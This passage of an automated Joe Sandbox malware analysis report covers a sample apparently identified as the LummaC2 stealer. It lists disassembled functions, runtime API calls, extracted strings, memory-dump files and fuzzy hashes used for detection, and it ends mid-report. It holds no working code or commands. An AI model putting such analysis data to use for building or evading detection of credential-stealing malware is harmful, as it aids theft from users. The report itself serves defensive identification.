.bat, xrefs: 0050713A
.com, xrefs: 0050714B
.cmd, xrefs: 00507129
.exe, xrefs: 00507118

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: ebbfd748c359f4b62ee2805f012bfaf9cd654a4435b1303caf0722b505ebe99d
Instruction ID: e6ca73156df21fce727eb15c0ccdcfa8538b131c367e42e568dbeda8452ffc0a
Opcode Fuzzy Hash: ebbfd748c359f4b62ee2805f012bfaf9cd654a4435b1303caf0722b505ebe99d
Instruction Fuzzy Hash: 9201C837A0862B26A6186819AC0267F1F9CBFC6BB471A002AF954F73C1DE45EC4291A0

Function 004D2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 004D2F1F
__Mtx_unlock.LIBCPMT ref: 004D2F8C
__Cnd_broadcast.LIBCPMT ref: 004D2FA3
__Mtx_unlock.LIBCPMT ref: 004D30B5
__Mtx_unlock.LIBCPMT ref: 004D315B

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: e66c6cf3d79834783543a31449ce6b4d1b87f7d7f46369117ca3342beaf9131b
Instruction ID: 1623966f7e6baa4252863b5062f5a98cc3ab4f16cc5d6093e072f3edff2927fd
Opcode Fuzzy Hash: e66c6cf3d79834783543a31449ce6b4d1b87f7d7f46369117ca3342beaf9131b
Instruction Fuzzy Hash: 89A1CEB0900246AFDB21DF66C94576BB7B8FF1531AF00452FE81597341EB38EA05CB9A

Function 004D2670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004D2806
___std_exception_destroy.LIBVCRUNTIME ref: 004D28A0

Strings

P#M, xrefs: 004D27BE, 004D2899
P#M, xrefs: 004D2811

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#M$P#M
API String ID: 2970364248-1791656252
Opcode ID: 8d8edd3eb8b5ef980c81825d47b601bb63bb29c54d436ab67cd1534793e3f6a4
Instruction ID: 9195258995f3ac39779a793bc7501329c7907ed47906c3b38d37777f886b59f9
Opcode Fuzzy Hash: 8d8edd3eb8b5ef980c81825d47b601bb63bb29c54d436ab67cd1534793e3f6a4
Instruction Fuzzy Hash: DE719F71E002489BDB14DFA8C981BDEFBB5FF59314F14822EE805A7381E774A944CBA5

Function 004E7870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 004E795C
__Cnd_destroy_in_situ.LIBCPMT ref: 004E7968
__Mtx_destroy_in_situ.LIBCPMT ref: 004E7971

Strings

@yN, xrefs: 004E794A

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yN
API String ID: 4078500453-3762486010
Opcode ID: 40e9e0c008a8d350b0af8b1c60f39865dc7ea1b202388874bae7e5153676ce62
Instruction ID: 1bdcfc519c95174e39a5e0ff885d9e47d74b294a79b3e8c93949493511d13bea
Opcode Fuzzy Hash: 40e9e0c008a8d350b0af8b1c60f39865dc7ea1b202388874bae7e5153676ce62
Instruction Fuzzy Hash: BD3105B19047449BE720DF6AD945A6BB7E8EF14325F000A2FE945C3342E779EA44C3A5

Function 004D2AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004D2B23

Strings

P#M, xrefs: 004D2B18
This function cannot be called on a default constructed task, xrefs: 004D2B03
P#M, xrefs: 004D2B2E

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#M$P#M$This function cannot be called on a default constructed task
API String ID: 2659868963-3750061792
Opcode ID: 7a4610427cce89c263391882ef65050830200c114ee5377ee6d9c372425d5cda
Instruction ID: 0ba88181d784783876ae18fcfed2127c23790e6c2a0202b540ad117ec82536ca
Opcode Fuzzy Hash: 7a4610427cce89c263391882ef65050830200c114ee5377ee6d9c372425d5cda
Instruction Fuzzy Hash: F2F0F670A1030C9BC714DFA9A88199EBBEDEF15304F1041AEF80497341EBB0AA58CB98

Function 0050C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0050CA37

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: d1fb3e7cc40b6c5fa0e93f896caa9d3d521f222db49b4f6402b0c0a899c1f9da
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 44B12932A002469FEB15CF68C8817BEBFE5FF96340F1486AAE855DB381D6349D41CB60

Function 004EBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004EBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 004EBB14
_xtime_get.LIBCPMT ref: 004EBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 004EBB43

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: cd652437ff6eccae691e4eabf2d9487fa2056923d5f3508123f8b5dfc468cbc4
Instruction ID: 6ff646d83162d7f9f4fbe5d731522549e5320e6c73c69f004ba42f1778952904
Opcode Fuzzy Hash: cd652437ff6eccae691e4eabf2d9487fa2056923d5f3508123f8b5dfc468cbc4
Instruction Fuzzy Hash: 29216575D01259AFDF10EFAACC819BFBB79EF08715F00406AF501A7251DB34AD029BA5

Function 004E7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 004E726C

Strings

@.M, xrefs: 004E7250
`zN, xrefs: 004E7282

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.M$`zN
API String ID: 3366076730-1737579547
Opcode ID: bbdea993d8257f7a8bddeed4ffdd84b90d42cfce581e298312f1b4da9ae2571f
Instruction ID: da1fcbbfea654b6e6a9cb689f75507f60025c312586dac5957ce96e80381b9a1
Opcode Fuzzy Hash: bbdea993d8257f7a8bddeed4ffdd84b90d42cfce581e298312f1b4da9ae2571f
Instruction Fuzzy Hash: 85A157B0E017588FCB21CFA9C88479EBBF0BF48715F14819AE909AB351E7799D01CB84

Function 004E8E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#M, xrefs: 004D246D
P#M, xrefs: 004D2486

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: P#M$P#M
API String ID: 0-1791656252
Opcode ID: 54fd1c7f489224e732f302222d8726b1fb45d300694a6c922e3920543264e974
Instruction ID: f87ca2447b7d87a230b7a7b71604eeed9052da04e6ba17b7f00316e25d6aca65
Opcode Fuzzy Hash: 54fd1c7f489224e732f302222d8726b1fb45d300694a6c922e3920543264e974
Instruction Fuzzy Hash: 6A513772A001499BCF14DFA9DC4196EB7A9FF84305B14066EF809EB381EB34EE118799

Function 0050F21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0050F263

Strings

`'S, xrefs: 0050F235
8"S, xrefs: 0050F30B

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"S$`'S
API String ID: 3903695350-2081907727
Opcode ID: 61b55fb5bff83751485d21b29d92623305f6acd5bdc3c628f9ec261db9985cb9
Instruction ID: b0a530bc359cfb181a90535ba1bb24d2ce3b2e41a2975d1bc15e1ff7f6f674af
Opcode Fuzzy Hash: 61b55fb5bff83751485d21b29d92623305f6acd5bdc3c628f9ec261db9985cb9
Instruction Fuzzy Hash: 32313B356003069FEB31AB78DD49B9E7BE9BF80320F114839F84AD75D1DA35AC808B21

Function 004D3930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 004D3962
__Mtx_init_in_situ.LIBCPMT ref: 004D39A1

Strings

pBM, xrefs: 004D3940

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBM
API String ID: 3366076730-1636999656
Opcode ID: cd0e16642f0759c36fbb39a77a8ae311eb2506402c967de0fffe04041e510542
Instruction ID: 9b9001dd140f100a20164aa789780d7dfbc99ed5d47938eb0c98e720f0f84571
Opcode Fuzzy Hash: cd0e16642f0759c36fbb39a77a8ae311eb2506402c967de0fffe04041e510542
Instruction Fuzzy Hash: 034124B0601B059FD720CF19C598B5ABBF0FF44316F10865EE96A8B341E7B8AA05CB81

Function 004D2440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004D247E

Strings

P#M, xrefs: 004D246D
P#M, xrefs: 004D2486

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#M$P#M
API String ID: 2659868963-1791656252
Opcode ID: ddb24cd13623e79651e6c48a83e0514806a59ade6a37e31a4b117a50fca6fd1e
Instruction ID: 16dd83042903eb8db75c48b9547f8bbbf0ba466db50a9f88d6972a1c6d1cf7bd
Opcode Fuzzy Hash: ddb24cd13623e79651e6c48a83e0514806a59ade6a37e31a4b117a50fca6fd1e
Instruction Fuzzy Hash: 4BF0E5B1D1030D67C714EBE4E805889BBECEE15300B008A26F644E7A81F7B0FA448BD5

Function 004D2520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004D2552

Strings

P#M, xrefs: 004D2547
P#M, xrefs: 004D255D

Memory Dump Source

Source File: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000002.00000002.4519682320.00000000004D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4519834406.0000000000532000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520180115.0000000000539000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000053B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000006C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4520320436.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521421361.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521617930.0000000000984000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4521674155.0000000000986000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#M$P#M
API String ID: 2659868963-1791656252
Opcode ID: 50c8f720ed95fadd675c275bad9b7adb24941f47eca190cbb3615afc831456bd
Instruction ID: a640e8cdbd1c6bbedd89b2b203a133b98ef753d6bfe0fa0f93fa93984fd33e67
Opcode Fuzzy Hash: 50c8f720ed95fadd675c275bad9b7adb24941f47eca190cbb3615afc831456bd
Instruction Fuzzy Hash: B6F0A771E1120D9BCB14DF69D84198EBBF8AF55304F1082AEF44467381EB706B59CBD9

Analysis Process: LummaC2.exePID: 6572, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	49
Total number of Limit Nodes:	2

Executed Functions

Function 00460D90 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(004640E0,005C003F,00000002,00000018,?), ref: 00460DBE

Memory Dump Source

